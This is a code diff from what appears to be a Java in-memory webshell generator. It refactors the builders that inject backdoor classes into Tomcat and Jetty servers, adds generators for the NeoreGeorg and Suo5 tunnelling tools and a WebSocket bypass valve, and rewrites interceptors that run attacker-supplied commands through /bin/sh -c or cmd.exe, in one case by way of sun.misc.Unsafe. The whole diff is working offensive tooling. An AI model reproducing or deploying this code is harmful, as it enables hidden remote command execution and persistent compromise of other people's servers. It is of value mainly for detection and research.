builder = builder.defineMethod("getFieldValue", Object.class, Visibility.PUBLIC, Ownership.STATIC)
|
|
||||||
.withParameters(Object.class, String.class)
|
|
||||||
.throwing(Exception.class)
|
|
||||||
.intercept(FixedValue.nullValue())
|
|
||||||
.visit(Advice.to(ShellCommonUtil.GetFieldValueInterceptor.class).on(named("getFieldValue")));
|
|
||||||
}
|
|
||||||
return builder;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -2,6 +2,7 @@ package com.reajason.javaweb.memshell.generator;
|
|||||||
|
|
||||||
import com.reajason.javaweb.memshell.config.NeoreGeorgConfig;
|
import com.reajason.javaweb.memshell.config.NeoreGeorgConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
|
import net.bytebuddy.ByteBuddy;
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
|
|
||||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||||
@@ -16,8 +17,10 @@ public class NeoreGeorgGenerator extends ByteBuddyShellGenerator<NeoreGeorgConfi
|
|||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
protected DynamicType.Builder<?> build(DynamicType.Builder<?> builder) {
|
protected DynamicType.Builder<?> getBuilder() {
|
||||||
return builder.field(named("headerName")).value(shellToolConfig.getHeaderName())
|
return new ByteBuddy()
|
||||||
|
.redefine(shellToolConfig.getShellClass())
|
||||||
|
.field(named("headerName")).value(shellToolConfig.getHeaderName())
|
||||||
.field(named("headerValue")).value(shellToolConfig.getHeaderValue());
|
.field(named("headerValue")).value(shellToolConfig.getHeaderValue());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,12 @@
|
|||||||
|
package com.reajason.javaweb.memshell.generator;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/12/7
|
||||||
|
*/
|
||||||
|
public interface Processor<T> {
|
||||||
|
T process(T input, ShellConfig shellConfig, ShellToolConfig shellToolConfig);
|
||||||
|
}
|
||||||
@@ -0,0 +1,52 @@
|
|||||||
|
package com.reajason.javaweb.memshell.generator;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||||
|
import com.reajason.javaweb.memshell.generator.processors.*;
|
||||||
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
|
|
||||||
|
import java.util.Arrays;
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/12/7
|
||||||
|
*/
|
||||||
|
public final class ProcessorRegistry {
|
||||||
|
|
||||||
|
private static final List<Processor<DynamicType.Builder<?>>> BUILDER_PROCESSORS = Arrays.asList(
|
||||||
|
new ListenerBuilderModifier(),
|
||||||
|
new ValveBuilderModifier(),
|
||||||
|
new DebugOffBuilderModifier()
|
||||||
|
);
|
||||||
|
|
||||||
|
private static final List<Processor<byte[]>> BYTE_PROCESSORS = Arrays.asList(
|
||||||
|
new JakartaPostProcessor(),
|
||||||
|
new JettyHandlerPostProcessor(),
|
||||||
|
new ShrinkPostProcessor()
|
||||||
|
);
|
||||||
|
|
||||||
|
private ProcessorRegistry() {
|
||||||
|
// Prevent instantiation
|
||||||
|
}
|
||||||
|
|
||||||
|
public static DynamicType.Builder<?> applyBuilderProcessors(
|
||||||
|
DynamicType.Builder<?> builder,
|
||||||
|
ShellConfig shellConfig,
|
||||||
|
ShellToolConfig shellToolConfig) {
|
||||||
|
for (Processor<DynamicType.Builder<?>> processor : BUILDER_PROCESSORS) {
|
||||||
|
builder = processor.process(builder, shellConfig, shellToolConfig);
|
||||||
|
}
|
||||||
|
return builder;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static byte[] applyByteProcessors(
|
||||||
|
byte[] bytes,
|
||||||
|
ShellConfig shellConfig,
|
||||||
|
ShellToolConfig shellToolConfig) {
|
||||||
|
for (Processor<byte[]> processor : BYTE_PROCESSORS) {
|
||||||
|
bytes = processor.process(bytes, shellConfig, shellToolConfig);
|
||||||
|
}
|
||||||
|
return bytes;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,17 @@
|
|||||||
|
package com.reajason.javaweb.memshell.generator;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.config.ProxyConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
|
import net.bytebuddy.ByteBuddy;
|
||||||
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
|
|
||||||
|
public class ProxyGenerator extends ByteBuddyShellGenerator<ProxyConfig> {
|
||||||
|
public ProxyGenerator(ShellConfig shellConfig, ProxyConfig shellToolConfig) {
|
||||||
|
super(shellConfig, shellToolConfig);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected DynamicType.Builder<?> getBuilder() {
|
||||||
|
return new ByteBuddy().redefine(shellToolConfig.getShellClass());
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -2,6 +2,7 @@ package com.reajason.javaweb.memshell.generator;
|
|||||||
|
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import com.reajason.javaweb.memshell.config.Suo5Config;
|
import com.reajason.javaweb.memshell.config.Suo5Config;
|
||||||
|
import net.bytebuddy.ByteBuddy;
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
|
|
||||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||||
@@ -17,8 +18,9 @@ public class Suo5Generator extends ByteBuddyShellGenerator<Suo5Config> {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
protected DynamicType.Builder<?> build(DynamicType.Builder<?> builder) {
|
protected DynamicType.Builder<?> getBuilder() {
|
||||||
return builder
|
return new ByteBuddy()
|
||||||
|
.redefine(shellToolConfig.getShellClass())
|
||||||
.field(named("headerName")).value(shellToolConfig.getHeaderName())
|
.field(named("headerName")).value(shellToolConfig.getHeaderName())
|
||||||
.field(named("headerValue")).value(shellToolConfig.getHeaderValue());
|
.field(named("headerValue")).value(shellToolConfig.getHeaderValue());
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,46 @@
|
|||||||
|
package com.reajason.javaweb.memshell.generator;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.ClassBytesShrink;
|
||||||
|
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.Suo5Config;
|
||||||
|
import com.reajason.javaweb.memshell.shelltool.suo5v2.Suo5v2;
|
||||||
|
import com.reajason.javaweb.utils.CommonUtil;
|
||||||
|
import net.bytebuddy.ByteBuddy;
|
||||||
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
|
import org.apache.commons.codec.binary.Base64;
|
||||||
|
|
||||||
|
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/2/12
|
||||||
|
*/
|
||||||
|
public class Suo5V2Generator extends ByteBuddyShellGenerator<Suo5Config> {
|
||||||
|
|
||||||
|
public Suo5V2Generator(ShellConfig shellConfig, Suo5Config suo5Config) {
|
||||||
|
super(shellConfig, suo5Config);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected DynamicType.Builder<?> getBuilder() {
|
||||||
|
if (Suo5v2.class.equals(shellToolConfig.getShellClass())) {
|
||||||
|
return new ByteBuddy()
|
||||||
|
.redefine(shellToolConfig.getShellClass())
|
||||||
|
.field(named("headerName")).value(shellToolConfig.getHeaderName())
|
||||||
|
.field(named("headerValue")).value(shellToolConfig.getHeaderValue());
|
||||||
|
}
|
||||||
|
try (DynamicType.Unloaded<Suo5v2> unloaded = new ByteBuddy()
|
||||||
|
.redefine(Suo5v2.class)
|
||||||
|
.name(CommonUtil.generateClassName())
|
||||||
|
.field(named("headerName")).value(shellToolConfig.getHeaderName())
|
||||||
|
.field(named("headerValue")).value(shellToolConfig.getHeaderValue())
|
||||||
|
.visit(TargetJreVersionVisitorWrapper.DEFAULT)
|
||||||
|
.make()) {
|
||||||
|
byte[] shrinkBytes = ClassBytesShrink.shrink(unloaded.getBytes(), true);
|
||||||
|
return new ByteBuddy()
|
||||||
|
.redefine(shellToolConfig.getShellClass())
|
||||||
|
.field(named("suo5V2GZipBase64")).value(Base64.encodeBase64String(CommonUtil.gzipCompress(shrinkBytes)));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,55 @@
|
|||||||
|
package com.reajason.javaweb.memshell.generator;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.ClassBytesShrink;
|
||||||
|
import com.reajason.javaweb.GenerationException;
|
||||||
|
import com.reajason.javaweb.Server;
|
||||||
|
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
||||||
|
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
||||||
|
import com.reajason.javaweb.memshell.config.*;
|
||||||
|
import com.reajason.javaweb.memshell.shelltool.wsbypass.TomcatWsBypassValve;
|
||||||
|
import com.reajason.javaweb.utils.CommonUtil;
|
||||||
|
import net.bytebuddy.ByteBuddy;
|
||||||
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
|
import org.apache.commons.lang3.tuple.Pair;
|
||||||
|
|
||||||
|
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2026/1/13
|
||||||
|
*/
|
||||||
|
public class WebSocketByPassHelperGenerator {
|
||||||
|
public static byte[] getBytes(ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
|
||||||
|
Pair<String, String> headerPair = getHeaderPair(shellToolConfig);
|
||||||
|
if (headerPair == null) {
|
||||||
|
throw new GenerationException("unsupported shell config: " + shellConfig.getShellTool());
|
||||||
|
}
|
||||||
|
|
||||||
|
if (Server.Tomcat.equals(shellConfig.getServer())) {
|
||||||
|
DynamicType.Builder<TomcatWsBypassValve> builder = new ByteBuddy()
|
||||||
|
.redefine(TomcatWsBypassValve.class)
|
||||||
|
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
|
||||||
|
.field(named("headerName")).value(headerPair.getKey())
|
||||||
|
.field(named("headerValue")).value(headerPair.getValue())
|
||||||
|
.name(CommonUtil.generateClassName());
|
||||||
|
if (shellConfig.isJakarta()) {
|
||||||
|
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
||||||
|
}
|
||||||
|
try (DynamicType.Unloaded<TomcatWsBypassValve> dynamicType = builder.make()) {
|
||||||
|
return ClassBytesShrink.shrink(dynamicType.getBytes(), shellConfig.isShrink());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static Pair<String, String> getHeaderPair(ShellToolConfig shellToolConfig) {
|
||||||
|
if (shellToolConfig instanceof CommandConfig) {
|
||||||
|
return Pair.of(((CommandConfig) shellToolConfig).getHeaderName(), ((CommandConfig) shellToolConfig).getHeaderValue());
|
||||||
|
} else if (shellToolConfig instanceof GodzillaConfig) {
|
||||||
|
return Pair.of(((GodzillaConfig) shellToolConfig).getHeaderName(), ((GodzillaConfig) shellToolConfig).getHeaderValue());
|
||||||
|
} else if (shellToolConfig instanceof ProxyConfig) {
|
||||||
|
return Pair.of(((ProxyConfig) shellToolConfig).getHeaderName(), ((ProxyConfig) shellToolConfig).getHeaderValue());
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,12 +1,11 @@
|
|||||||
package com.reajason.javaweb.memshell.generator.command;
|
package com.reajason.javaweb.memshell.generator.command;
|
||||||
|
|
||||||
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
|
||||||
import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
|
import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
|
||||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
|
||||||
import com.reajason.javaweb.memshell.config.CommandConfig;
|
import com.reajason.javaweb.memshell.config.CommandConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import com.reajason.javaweb.memshell.generator.ByteBuddyShellGenerator;
|
import com.reajason.javaweb.memshell.generator.ByteBuddyShellGenerator;
|
||||||
import com.reajason.javaweb.utils.ShellCommonUtil;
|
import com.reajason.javaweb.utils.ShellCommonUtil;
|
||||||
|
import net.bytebuddy.ByteBuddy;
|
||||||
import net.bytebuddy.asm.Advice;
|
import net.bytebuddy.asm.Advice;
|
||||||
import net.bytebuddy.description.modifier.Ownership;
|
import net.bytebuddy.description.modifier.Ownership;
|
||||||
import net.bytebuddy.description.modifier.Visibility;
|
import net.bytebuddy.description.modifier.Visibility;
|
||||||
@@ -26,17 +25,11 @@ public class CommandGenerator extends ByteBuddyShellGenerator<CommandConfig> {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public DynamicType.Builder<?> build(DynamicType.Builder<?> builder) {
|
public DynamicType.Builder<?> getBuilder() {
|
||||||
|
DynamicType.Builder<?> builder = new ByteBuddy()
|
||||||
builder = builder.field(named("paramName")).value(shellToolConfig.getParamName());
|
.redefine(shellToolConfig.getShellClass())
|
||||||
|
.field(named("paramName"))
|
||||||
if (shellConfig.isJakarta()) {
|
.value(shellToolConfig.getParamName());
|
||||||
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (shellConfig.isDebugOff()) {
|
|
||||||
builder = LogRemoveMethodVisitor.extend(builder);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (CommandConfig.Encryptor.DOUBLE_BASE64.equals(shellToolConfig.getEncryptor())) {
|
if (CommandConfig.Encryptor.DOUBLE_BASE64.equals(shellToolConfig.getEncryptor())) {
|
||||||
builder = builder
|
builder = builder
|
||||||
@@ -49,13 +42,17 @@ public class CommandGenerator extends ByteBuddyShellGenerator<CommandConfig> {
|
|||||||
.visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString")))
|
.visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString")))
|
||||||
.visit(Advice.to(DoubleBase64ParamInterceptor.class).on(named("getParam")));
|
.visit(Advice.to(DoubleBase64ParamInterceptor.class).on(named("getParam")));
|
||||||
}
|
}
|
||||||
|
|
||||||
if (CommandConfig.ImplementationClass.RuntimeExec.equals(shellToolConfig.getImplementationClass())) {
|
if (CommandConfig.ImplementationClass.RuntimeExec.equals(shellToolConfig.getImplementationClass())) {
|
||||||
builder = builder.visit(Advice.to(RuntimeExecInterceptor.class).on(named("getInputStream")));
|
builder = builder.visit(Advice.withCustomMapping()
|
||||||
|
.bind(TemplateAnnotation.class, shellToolConfig.getTemplate())
|
||||||
|
.to(RuntimeExecInterceptor.class)
|
||||||
|
.on(named("getInputStream")));
|
||||||
} else if (CommandConfig.ImplementationClass.ForkAndExec.equals(shellToolConfig.getImplementationClass())) {
|
} else if (CommandConfig.ImplementationClass.ForkAndExec.equals(shellToolConfig.getImplementationClass())) {
|
||||||
builder = builder.visit(Advice.to(ForkAndExecInterceptor.class).on(named("getInputStream")));
|
builder = builder.visit(Advice.withCustomMapping()
|
||||||
|
.bind(TemplateAnnotation.class, shellToolConfig.getTemplate())
|
||||||
|
.to(ForkAndExecInterceptor.class)
|
||||||
|
.on(named("getInputStream")));
|
||||||
}
|
}
|
||||||
|
|
||||||
return builder;
|
return builder;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -13,9 +13,27 @@ import java.lang.reflect.Method;
|
|||||||
*/
|
*/
|
||||||
public class ForkAndExecInterceptor {
|
public class ForkAndExecInterceptor {
|
||||||
@Advice.OnMethodExit
|
@Advice.OnMethodExit
|
||||||
public static void enter(@Advice.Argument(value = 0) String cmd, @Advice.Return(readOnly = false) InputStream returnValue) throws IOException {
|
public static void enter(@Advice.Argument(value = 0) String cmd,
|
||||||
|
@Advice.Return(readOnly = false) InputStream returnValue,
|
||||||
|
@TemplateAnnotation String template
|
||||||
|
) throws IOException {
|
||||||
try {
|
try {
|
||||||
String[] strs = cmd.split("\\s+");
|
String[] cmdarray = null;
|
||||||
|
String t = template;
|
||||||
|
if (t == null) {
|
||||||
|
cmdarray = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
|
||||||
|
} else {
|
||||||
|
if (t.contains("\"{command}\"")) {
|
||||||
|
String[] split = t.split("\\s+");
|
||||||
|
for (int i = 0; i < split.length; i++) {
|
||||||
|
split[i] = split[i].replace("\"{command}\"", cmd);
|
||||||
|
}
|
||||||
|
cmdarray = split;
|
||||||
|
} else {
|
||||||
|
String cmdline = t.replace("{command}", cmd);
|
||||||
|
cmdarray = cmdline.split("\\s+");
|
||||||
|
}
|
||||||
|
}
|
||||||
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
|
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
|
||||||
java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
|
java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
|
||||||
unsafeField.setAccessible(true);
|
unsafeField.setAccessible(true);
|
||||||
@@ -30,11 +48,11 @@ public class ForkAndExecInterceptor {
|
|||||||
}
|
}
|
||||||
Object processObject = unsafeClass.getMethod("allocateInstance", Class.class).invoke(unsafe, processClass);
|
Object processObject = unsafeClass.getMethod("allocateInstance", Class.class).invoke(unsafe, processClass);
|
||||||
|
|
||||||
byte[][] args = new byte[strs.length - 1][];
|
byte[][] args = new byte[cmdarray.length - 1][];
|
||||||
int size = args.length;
|
int size = args.length;
|
||||||
|
|
||||||
for (int i = 0; i < args.length; i++) {
|
for (int i = 0; i < args.length; i++) {
|
||||||
args[i] = strs[i + 1].getBytes();
|
args[i] = cmdarray[i + 1].getBytes();
|
||||||
size += args[i].length;
|
size += args[i].length;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -48,7 +66,7 @@ public class ForkAndExecInterceptor {
|
|||||||
|
|
||||||
int[] envc = new int[1];
|
int[] envc = new int[1];
|
||||||
int[] std_fds = new int[]{-1, -1, -1};
|
int[] std_fds = new int[]{-1, -1, -1};
|
||||||
byte[] bytes = strs[0].getBytes();
|
byte[] bytes = cmdarray[0].getBytes();
|
||||||
byte[] result = new byte[bytes.length + 1];
|
byte[] result = new byte[bytes.length + 1];
|
||||||
System.arraycopy(bytes, 0,
|
System.arraycopy(bytes, 0,
|
||||||
result, 0,
|
result, 0,
|
||||||
|
|||||||
@@ -10,8 +10,28 @@ import java.io.InputStream;
|
|||||||
* @since 2025/5/25
|
* @since 2025/5/25
|
||||||
*/
|
*/
|
||||||
public class RuntimeExecInterceptor {
|
public class RuntimeExecInterceptor {
|
||||||
|
|
||||||
@Advice.OnMethodExit
|
@Advice.OnMethodExit
|
||||||
public static void enter(@Advice.Argument(value = 0) String cmd, @Advice.Return(readOnly = false) InputStream returnValue) throws IOException {
|
public static void enter(@Advice.Argument(value = 0) String cmd,
|
||||||
returnValue = Runtime.getRuntime().exec(cmd).getInputStream();
|
@Advice.Return(readOnly = false) InputStream returnValue,
|
||||||
|
@TemplateAnnotation String template
|
||||||
|
) throws IOException {
|
||||||
|
String[] cmdarray = null;
|
||||||
|
String t = template;
|
||||||
|
if (t == null) {
|
||||||
|
cmdarray = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
|
||||||
|
} else {
|
||||||
|
if (t.contains("\"{command}\"")) {
|
||||||
|
String[] split = t.split("\\s+");
|
||||||
|
for (int i = 0; i < split.length; i++) {
|
||||||
|
split[i] = split[i].replace("\"{command}\"", cmd);
|
||||||
|
}
|
||||||
|
cmdarray = split;
|
||||||
|
} else {
|
||||||
|
String cmdline = t.replace("{command}", cmd);
|
||||||
|
cmdarray = cmdline.split("\\s+");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
returnValue = new ProcessBuilder(cmdarray).redirectErrorStream(true).start().getInputStream();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,8 @@
|
|||||||
|
package com.reajason.javaweb.memshell.generator.command;
|
||||||
|
|
||||||
|
import java.lang.annotation.Retention;
|
||||||
|
import java.lang.annotation.RetentionPolicy;
|
||||||
|
|
||||||
|
@Retention(RetentionPolicy.RUNTIME)
|
||||||
|
public @interface TemplateAnnotation {
|
||||||
|
}
|
||||||
@@ -0,0 +1,22 @@
|
|||||||
|
package com.reajason.javaweb.memshell.generator.processors;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||||
|
import com.reajason.javaweb.memshell.generator.Processor;
|
||||||
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/12/7
|
||||||
|
*/
|
||||||
|
public class DebugOffBuilderModifier implements Processor<DynamicType.Builder<?>> {
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public DynamicType.Builder<?> process(DynamicType.Builder<?> builder, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
|
||||||
|
if (shellConfig.isDebugOff()) {
|
||||||
|
builder = LogRemoveMethodVisitor.extend(builder);
|
||||||
|
}
|
||||||
|
return builder;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,16 @@
|
|||||||
|
package com.reajason.javaweb.memshell.generator.processors;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.asm.ClassRenameUtils;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||||
|
import com.reajason.javaweb.memshell.generator.Processor;
|
||||||
|
|
||||||
|
public class JakartaPostProcessor implements Processor<byte[]> {
|
||||||
|
@Override
|
||||||
|
public byte[] process(byte[] input, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
|
||||||
|
if (shellConfig.isJakarta()) {
|
||||||
|
return ClassRenameUtils.relocateJakarta(input);
|
||||||
|
}
|
||||||
|
return input;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,62 @@
|
|||||||
|
package com.reajason.javaweb.memshell.generator.processors;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.GenerationException;
|
||||||
|
import com.reajason.javaweb.asm.ClassRenameUtils;
|
||||||
|
import com.reajason.javaweb.asm.ClassSuperClassUtils;
|
||||||
|
import com.reajason.javaweb.asm.MethodUtils;
|
||||||
|
import com.reajason.javaweb.memshell.ServerFactory;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||||
|
import com.reajason.javaweb.memshell.generator.Processor;
|
||||||
|
import com.reajason.javaweb.memshell.server.AbstractServer;
|
||||||
|
import com.reajason.javaweb.memshell.server.Jetty;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/12/7
|
||||||
|
*/
|
||||||
|
public class JettyHandlerPostProcessor implements Processor<byte[]> {
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public byte[] process(byte[] bytes, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
|
||||||
|
AbstractServer server = ServerFactory.getServer(shellConfig.getServer());
|
||||||
|
String shellType = shellConfig.getShellType();
|
||||||
|
if (server instanceof Jetty
|
||||||
|
&& (ShellType.HANDLER.equals(shellType)
|
||||||
|
|| ShellType.JAKARTA_HANDLER.equals(shellType))
|
||||||
|
) {
|
||||||
|
String superClassName = null;
|
||||||
|
String serverVersion = shellConfig.getServerVersion();
|
||||||
|
if (serverVersion != null) {
|
||||||
|
switch (serverVersion) {
|
||||||
|
case "6":
|
||||||
|
superClassName = "org/mortbay/jetty/handler/AbstractHandler";
|
||||||
|
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Lorg/eclipse/jetty/server/Request;Lorg/eclipse/jetty/server/Response;Lorg/eclipse/jetty/util/Callback;)Z");
|
||||||
|
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Lorg/eclipse/jetty/server/Request;Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V");
|
||||||
|
bytes = ClassRenameUtils.relocateClass(bytes, "org/eclipse/jetty/server", "org/mortbay/jetty");
|
||||||
|
break;
|
||||||
|
case "7+":
|
||||||
|
superClassName = "org/eclipse/jetty/server/handler/AbstractHandler";
|
||||||
|
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Lorg/eclipse/jetty/server/Request;Lorg/eclipse/jetty/server/Response;Lorg/eclipse/jetty/util/Callback;)Z");
|
||||||
|
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;I)V");
|
||||||
|
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Ljakarta/servlet/http/HttpServletRequest;Ljakarta/servlet/http/HttpServletResponse;I)V");
|
||||||
|
break;
|
||||||
|
case "12":
|
||||||
|
superClassName = "org/eclipse/jetty/server/Handler$Abstract";
|
||||||
|
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/Object;Ljava/lang/Object;)Z");
|
||||||
|
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;I)V");
|
||||||
|
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Ljakarta/servlet/http/HttpServletRequest;Ljakarta/servlet/http/HttpServletResponse;I)V");
|
||||||
|
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Lorg/eclipse/jetty/server/Request;Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V");
|
||||||
|
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Lorg/eclipse/jetty/server/Request;Ljakarta/servlet/http/HttpServletRequest;Ljakarta/servlet/http/HttpServletResponse;)V");
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (superClassName == null) {
|
||||||
|
throw new GenerationException("serverVersion is needed for Jetty Handler or unknow serverVersion: [" + serverVersion + "], please use one of ['6', '7+', '12'] for shellConfig.serverVersion");
|
||||||
|
}
|
||||||
|
return ClassSuperClassUtils.addSuperClass(bytes, superClassName);
|
||||||
|
}
|
||||||
|
return bytes;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,69 @@
|
|||||||
|
package com.reajason.javaweb.memshell.generator.processors;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.GenerationException;
|
||||||
|
import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
|
||||||
|
import com.reajason.javaweb.memshell.ServerFactory;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||||
|
import com.reajason.javaweb.memshell.generator.Processor;
|
||||||
|
import com.reajason.javaweb.memshell.server.AbstractServer;
|
||||||
|
import com.reajason.javaweb.utils.ShellCommonUtil;
|
||||||
|
import net.bytebuddy.asm.Advice;
|
||||||
|
import net.bytebuddy.description.method.MethodDescription;
|
||||||
|
import net.bytebuddy.description.method.MethodList;
|
||||||
|
import net.bytebuddy.description.modifier.Ownership;
|
||||||
|
import net.bytebuddy.description.modifier.Visibility;
|
||||||
|
import net.bytebuddy.description.type.TypeDescription;
|
||||||
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
|
import net.bytebuddy.implementation.FixedValue;
|
||||||
|
import net.bytebuddy.implementation.StubMethod;
|
||||||
|
import net.bytebuddy.matcher.ElementMatchers;
|
||||||
|
|
||||||
|
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||||
|
import static net.bytebuddy.matcher.ElementMatchers.takesArguments;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/12/7
|
||||||
|
*/
|
||||||
|
public class ListenerBuilderModifier implements Processor<DynamicType.Builder<?>> {
|
||||||
|
|
||||||
|
@Override
|
||||||
|
